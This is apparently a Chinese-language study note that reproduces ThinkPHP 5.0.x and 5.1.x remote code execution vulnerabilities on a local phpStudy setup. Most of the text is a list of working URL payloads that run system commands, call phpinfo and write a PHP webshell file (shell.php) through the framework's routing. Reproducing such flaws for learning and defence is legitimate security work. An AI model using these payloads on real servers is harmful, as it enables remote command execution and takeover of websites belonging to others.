ThinkPhp5.0.X漏洞复现
本小白本着学习的态度,对于前几天thinkphp的漏洞进行复现一波来当作自己的笔记分享给大家。这次归纳学习也借鉴了零组攻防实验室大佬们的poc,话不多说,下面本小白按照以下几个方面进行漏洞复现:
X1 环境的搭建:
1、phpStudy:php-5.5.38+apache
2、ThinkPHP5.0.22
下载链接: 框架下载 - ThinkPHP框架
3、将下载后的文件放在本地的phpstudy的安装路径下面:
X2 在浏览器中访问 http:// 127.0.0.1/thinkphp/publ ic/index.php :
1、既然环境已经搭建完毕,下面我们可以使用poc来进行复现漏洞:
http:// 127.0.0.1/thinkphp/publ ic/index.php
在url后面加上poc:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 查询ip地址信息:
- 2、POC转自 Thinkphp5.0.X系列再报0day
POC
TP版本5.0.21:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
TP版本5.0.22:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
TP版本5.1.*
thinkphp5.1.29为例
1、代码执行:
?s=index/\think\Request/input&filter=phpinfo&data=1
2、命令执行:
?s=index/\think\Request/input&filter=system&data=操作系统命令
3、文件写入(写shell):
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、未知:
?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、代码执行:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、命令执行:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
7、代码执行:
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、命令执行:
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令